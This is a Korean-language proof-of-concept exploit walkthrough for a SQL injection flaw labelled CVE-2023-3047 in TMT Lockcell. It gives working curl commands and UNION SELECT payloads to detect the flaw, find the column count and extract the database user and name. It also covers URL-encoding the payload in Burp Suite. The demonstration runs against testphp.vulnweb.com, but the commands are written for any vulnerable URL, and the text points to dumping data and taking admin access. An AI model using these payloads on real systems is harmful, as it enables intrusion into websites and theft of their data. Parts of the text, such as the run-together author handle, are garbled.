
TMT Lockcell의 CVE-2023-3047 SQL 삽입 취약점에 대한 개념 증명 익스플로잇입니다. cURL 및 Burp Suite를 사용한 수동 익스플로잇을 통해 데이터베이스 사용자와 스키마를 열거하는 방법을 보여줍니다.
@ghostman_s3c 또는 @Chrome202417L22i227Keet23QCNaeCyrQ6xfiTQpQJ5TMT Lockcell의 SQL 명령에서 특수 요소의 부적절한 중화('SQL 인젝션') 취약점으로 인해 SQL 인젝션이 발생할 수 있습니다. 이 문제는 Lockcell 15 미만 버전에 영향을 미칩니다.
먼저 CVE-2023-3047 오류가 있는지 확인합니다. 터미널을 열고 모든 터미널이 cURL 도구를 지원하는지 확인하세요.
curl <your_url_vulnerable> | grep "at line"
입력 후, 만약 100 4976 0 4 --:--:Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1와 같이 표시된다면, 해당 웹사이트는 CVE-2023-3047 오류에 취약한 것입니다.
좋습니다. 이제 이 웹사이트가 인젝션 공격을 차단하는지 테스트해보겠습니다. 다음 명령어를 사용해보세요.
curl <your_url_vulnerable>+Union+Select+1,2,3--+- | grep "The used SELECT"
실행 후 아래 이미지와 같이 표시된다면, 좋은 표적을 찾은 것입니다.
이제 union select 페이로드를 1부터 MySQL 웹사이트의 컬럼 수에 유효한 특정 숫자까지 계속 시도해야 합니다.
좋습니다. 제 목표는 1부터 11까지 유효한 컬럼 번호를 찾는 것입니다. 아래 이미지에서 2개의 완전히 다른 결과를 볼 수 있습니다. 위에는 여전히 "The used SELECT"가 표시되고, 아래에는 표시되지 않습니다.
이제 Google에서 확인하여 위 결과와 일치하는지 검증하겠습니다. 편리하게도 정보를 얻을 수 있는 또 다른 번호를 찾을 수 있습니다.
음, 완전히 유효한 결과인 것 같습니다. 정보를 얻기 위해 주입할 수 있는 3개의 번호가 있습니다.
이제 SQL 명령어를 주입하여 정보를 얻는 연습을 해보겠습니다.
페이로드: +Union+Select+1,2,3,4,5,6,CONCAT(user(),'::',database()),8,9,10,11--+-
curl http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,CONCAT(user(),'::',database()),8,9,10,11--+- | grep "::"
오 이런, 이 명령어는 잘 작동하지 않는 것 같습니다. 페이로드를 URL 인코딩하지 않았기 때문입니다.
이제 제 임무는 사이버 공격을 계속하기 위해 해당 페이로드를 URL 경로로 인코딩하는 것입니다.
Burp Suite를 사용하여 인코딩하겠습니다.
이제 Decoder를 선택하고, 화면 왼쪽에서 Encode as를 선택한 다음 URL을 선택하고 페이로드를 입력하세요. 위 오류의 경우 (, )와 같은 특수 문자가 있습니다. 요구 사항을 충족시키기에 충분하지 않으므로 데이터베이스 정보를 얻기 위한 삽입 명령어 부분만 인코딩하겠습니다.
CONCAT(user(),'::',database())
curl http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,<encode_path_here>,8,9,10,11--+- | grep "::"
입력 후, 게임이 끝났습니다. 사용자 이름과 데이터베이스가 노출되었습니다. 뿐만 아니라 해커는 다른 페이로드를 주입하여 더 많은 정보를 얻을 수 있습니다. 예를 들어 데이터베이스 데이터를 덤프하여 정보를 탈취하거나 웹사이트 관리자 권한을 획득할 수 있습니다.
따라서 게임은 끝났습니다. 사용자 이름은 acuart@localhost이고 데이터베이스 이름은 acuart입니다.